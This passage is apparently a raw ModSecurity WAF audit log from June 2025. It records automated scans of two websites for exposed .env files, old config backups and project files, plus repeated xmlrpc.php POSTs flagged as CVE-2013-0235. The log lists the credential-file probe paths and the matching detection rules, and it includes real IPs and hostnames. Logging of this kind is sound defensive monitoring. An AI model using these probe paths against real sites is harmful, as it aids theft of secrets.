Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --567f056f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a919962e391f3174c0eb0bbec81d71fa1750016545; expires=Sun, 15 Jun 2025 20:42:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --567f056f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.c9/metadata/environnement/.env"] [unique_id "aE8iISCwfN5GtQhYhHBFtAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016545262753 677627 (- - -) Stopwatch2: 1750016545262753 677627; combined=1993, p1=381, p2=1524, p3=0, p4=0, p5=87, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --567f056f-Z-- --5b86d63e-A-- [16/Jun/2025:01:12:33.434319 +0530] aE8iKD3D4g1mGjVnV5KIHwAAAAY 128.199.112.101 56372 127.0.0.1 7081 --5b86d63e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5b86d63e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5b86d63e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8iKD3D4g1mGjVnV5KIHwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016552498310 936064 (- - -) Stopwatch2: 1750016552498310 936064; combined=2383, p1=390, p2=1611, p3=41, p4=73, p5=166, sr=108, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b86d63e-Z-- --b9e4bd27-A-- [16/Jun/2025:01:13:27.749548 +0530] aE8iXz6fDirgE_qJvgHLYgAAAAA 185.177.72.210 46302 127.0.0.1 7081 --b9e4bd27-B-- GET /new-js/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b9e4bd27-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=231d961662957f6e3260b87b58abb6391750016607; expires=Sun, 15 Jun 2025 20:43:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b9e4bd27-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/new-js/.env"] [unique_id "aE8iXz6fDirgE_qJvgHLYgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016607097577 652032 (- - -) Stopwatch2: 1750016607097577 652032; combined=1629, p1=374, p2=1159, p3=0, p4=0, p5=95, sr=97, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b9e4bd27-Z-- --11801f43-A-- [16/Jun/2025:01:13:28.716969 +0530] aE8iYCCwfN5GtQhYhHBF2QAAAAw 185.177.72.210 46326 127.0.0.1 7081 --11801f43-B-- GET /:5000/protected/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --11801f43-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=86e56b0fb2470e4194534f8f3b1159491750016608; expires=Sun, 15 Jun 2025 20:43:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --11801f43-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/protected/.env"] [unique_id "aE8iYCCwfN5GtQhYhHBF2QAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016608072068 644992 (- - -) Stopwatch2: 1750016608072068 644992; combined=1693, p1=401, p2=1168, p3=0, p4=0, p5=123, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --11801f43-Z-- --c6a55c03-A-- [16/Jun/2025:01:13:33.855056 +0530] aE8iZDwutQMQaeKIpO_N4gAAAAg 128.199.112.101 58164 127.0.0.1 7081 --c6a55c03-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --c6a55c03-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --c6a55c03-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8iZDwutQMQaeKIpO_N4gAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016612923757 931354 (- - -) Stopwatch2: 1750016612923757 931354; combined=2328, p1=348, p2=1578, p3=42, p4=67, p5=180, sr=93, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c6a55c03-Z-- --3fa1b03a-A-- [16/Jun/2025:01:13:37.234587 +0530] aE8iaDwutQMQaeKIpO_N5AAAAAg 185.177.72.210 58364 127.0.0.1 7081 --3fa1b03a-B-- GET /:9000/administrateur/.env.staging HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3fa1b03a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b4d3d9a199efdc85658774aa00b06a41750016617; expires=Sun, 15 Jun 2025 20:43:37 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3fa1b03a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/administrateur/.env.staging"] [unique_id "aE8iaDwutQMQaeKIpO_N5AAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016616586049 648601 (- - -) Stopwatch2: 1750016616586049 648601; combined=1864, p1=376, p2=1393, p3=0, p4=0, p5=95, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3fa1b03a-Z-- --42ec8c79-A-- [16/Jun/2025:01:13:43.161600 +0530] aE8ibj6fDirgE_qJvgHLagAAAAA 185.177.72.210 44310 127.0.0.1 7081 --42ec8c79-B-- GET /:5000/web/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42ec8c79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0fbf20bbd9266780450e695c09b6ad021750016623; expires=Sun, 15 Jun 2025 20:43:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42ec8c79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/web/.env"] [unique_id "aE8ibj6fDirgE_qJvgHLagAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016622501413 660276 (- - -) Stopwatch2: 1750016622501413 660276; combined=1738, p1=412, p2=1230, p3=0, p4=0, p5=95, sr=136, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42ec8c79-Z-- --cc78ae46-A-- [16/Jun/2025:01:13:49.952047 +0530] aE8idT3D4g1mGjVnV5KITwAAAAY 185.177.72.210 44654 127.0.0.1 7081 --cc78ae46-B-- GET /:5601/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cc78ae46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e649b2f0f440e9d46921dcd13475c38f1750016629; expires=Sun, 15 Jun 2025 20:43:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cc78ae46-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.1"] [unique_id "aE8idT3D4g1mGjVnV5KITwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016629249504 702605 (- - -) Stopwatch2: 1750016629249504 702605; combined=1956, p1=457, p2=1403, p3=0, p4=0, p5=95, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc78ae46-Z-- --f17ecd79-A-- [16/Jun/2025:01:13:52.979393 +0530] aE8ieJnj7pFxi-BGHz6vJgAAAAI 185.177.72.210 56044 127.0.0.1 7081 --f17ecd79-B-- GET /robots/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f17ecd79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=269980e07c2fb1fdca176a35608fbbf21750016632; expires=Sun, 15 Jun 2025 20:43:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f17ecd79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/robots/.env"] [unique_id "aE8ieJnj7pFxi-BGHz6vJgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016632317061 662406 (- - -) Stopwatch2: 1750016632317061 662406; combined=1975, p1=472, p2=1407, p3=0, p4=0, p5=96, sr=151, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f17ecd79-Z-- --dcd9b04b-A-- [16/Jun/2025:01:13:53.962696 +0530] aE8ieT3D4g1mGjVnV5KIUQAAAAY 185.177.72.210 56084 127.0.0.1 7081 --dcd9b04b-B-- GET /:8080/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dcd9b04b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6ac91ffdd95b347edad4b5be8999a3ff1750016633; expires=Sun, 15 Jun 2025 20:43:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dcd9b04b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.production"] [unique_id "aE8ieT3D4g1mGjVnV5KIUQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016633301473 661284 (- - -) Stopwatch2: 1750016633301473 661284; combined=1637, p1=367, p2=1163, p3=0, p4=0, p5=107, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dcd9b04b-Z-- --961a9c16-A-- [16/Jun/2025:01:14:01.367920 +0530] aE8igCCwfN5GtQhYhHBF6gAAAAw 185.177.72.210 53432 127.0.0.1 7081 --961a9c16-B-- GET /:8443/examples/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --961a9c16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8cd5f04638b262d8269e930e7ab339651750016641; expires=Sun, 15 Jun 2025 20:44:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --961a9c16-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/examples/.env"] [unique_id "aE8igCCwfN5GtQhYhHBF6gAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016640667278 700718 (- - -) Stopwatch2: 1750016640667278 700718; combined=1997, p1=419, p2=1449, p3=0, p4=0, p5=128, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --961a9c16-Z-- --2cb1cc78-A-- [16/Jun/2025:01:14:13.000127 +0530] aE8ijCCwfN5GtQhYhHBF7wAAAAw 185.177.72.210 54758 127.0.0.1 7081 --2cb1cc78-B-- GET /configura.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2cb1cc78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e47a9cef00fa2c18f5023158606e7d991750016652; expires=Sun, 15 Jun 2025 20:44:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2cb1cc78-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/configura.php.old"] [unique_id "aE8ijCCwfN5GtQhYhHBF7wAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016652341245 658945 (- - -) Stopwatch2: 1750016652341245 658945; combined=1760, p1=321, p2=1338, p3=0, p4=0, p5=100, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2cb1cc78-Z-- --09cada2f-A-- [16/Jun/2025:01:14:18.033713 +0530] aE8ikeuqUCmpR0cewAv9sAAAAAE 185.177.72.210 54978 127.0.0.1 7081 --09cada2f-B-- GET /cms.csproj HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09cada2f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb8fe71d8568e3b0e9a2997d053bb4231750016657; expires=Sun, 15 Jun 2025 20:44:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09cada2f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".csproj"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".csproj"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/cms.csproj"] [unique_id "aE8ikeuqUCmpR0cewAv9sAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016657368221 665573 (- - -) Stopwatch2: 1750016657368221 665573; combined=1722, p1=314, p2=1280, p3=0, p4=0, p5=128, sr=78, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09cada2f-Z-- --730f5f3c-A-- [16/Jun/2025:01:14:24.475560 +0530] aE8il3salJN_0-_70dLxtQAAAAU 185.177.72.210 36836 127.0.0.1 7081 --730f5f3c-B-- GET /:8888/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --730f5f3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=799bef5ec2995074a6bb4234716fe6e71750016664; expires=Sun, 15 Jun 2025 20:44:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --730f5f3c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. 